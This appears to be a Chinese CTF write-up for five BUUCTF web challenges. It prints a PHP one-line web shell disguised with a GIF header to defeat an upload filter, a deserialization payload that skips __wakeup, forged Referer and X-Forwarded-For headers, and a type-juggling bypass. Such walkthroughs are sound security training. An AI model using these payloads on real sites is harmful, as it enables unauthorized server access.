IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> Buuctf—极客大挑战练习 -> 正文阅读

[PHP知识库]Buuctf—极客大挑战练习

[极客大挑战 2019]Knife 1

白给的shell
在这里插入图片描述
一句话木马
直接蚁剑或者菜刀连接
在这里插入图片描述
在根目录下得到flag
在这里插入图片描述

[极客大挑战 2019]Http 1

打开环境查看源码发现Secret.php
在这里插入图片描述
访问一下:
在这里插入图片描述
也就是这个网页不是来自https://www.Sycsecret.com的
抓包,添加referer头,referer头就是证明你从哪里点进来的。
在这里插入图片描述
又提示请使用Syclover这个浏览器
修改:
在这里插入图片描述

需要我们从本地打开?

这里就要用到X-Forwarded-For这个扩展头

X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由Squid
这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大
HTTP代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中。

X-Forwarded-For:127.0.0.1
或者X-Forwarded-For:localhost
在这里插入图片描述

[极客大挑战 2019]Upload 1

上传php文件,报错了

在这里插入图片描述
抓包修改文件类型:
在这里插入图片描述

放包发现过滤了php:
在这里插入图片描述
经过测试php,php3,php4,php5都被过滤了
将后缀修改为phtml试一下:
还是报错了,但并不是后缀报错了,不能含有<?
测试一下过滤了那些东西

修改一句话木马:
我们尝试一下在文件头添加一个GIF89a?

GIF89a? <script language="php">eval($_REQUEST[WWW])</script>

在这里插入图片描述

在这里插入图片描述
上传成功!蚁剑连接:
在这里插入图片描述
可以在根目录下得到flag

[极客大挑战 2019]PHP 1

在这里插入图片描述
网站备份!!!
我们用御剑扫:
有一个压缩包:www.zip,打开index.php:
发现传参方式:
在这里插入图片描述
class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

存在魔法函数__wakeup()和 __destruct()
我们先来看如何绕过 __destruct():

   function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
          if ($this->username === 'admin') {
            global $flag;
            echo $flag;

username===‘admin’,passwqord=100即可!!

_wakeup()函数是在执行unserialize()函数的时候,会被调用
执行后变量username的值将变成guest,当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行

在class.php后加上这样几句代码:


$a = new Name('admin',100);
$s = serialize($a);
echo $s;

由于private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。
在这里插入图片描述
$username$password均为私有变量

输出结果:
在这里插入图片描述
经过尝试\0并不可行

而使用%00的目的就是用于替代\0 :

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

将表示属性个数的数字修改为3就可以绕过__wakeup()函数:
payload:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

在这里插入图片描述
得到flag!

[极客大挑战 2019]BuyFlag 1

进入payflag界面:

在这里插入图片描述
抓包:
在这里插入图片描述
我们必须是一个Cuit’s student,修改user的值为1:
在这里插入图片描述
需要输入密码
在这里插入图片描述
password要等于404并且不能为数字,那么构造:password=404a
另外购买flag need your 100000000 money
我尝试之后,报错了,字符太长了,
那么用科学计数法:
payload:password=404a&money=1e10
成功:
在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-04 10:58:37  更:2021-08-04 10:59:51 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/7 18:43:17-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码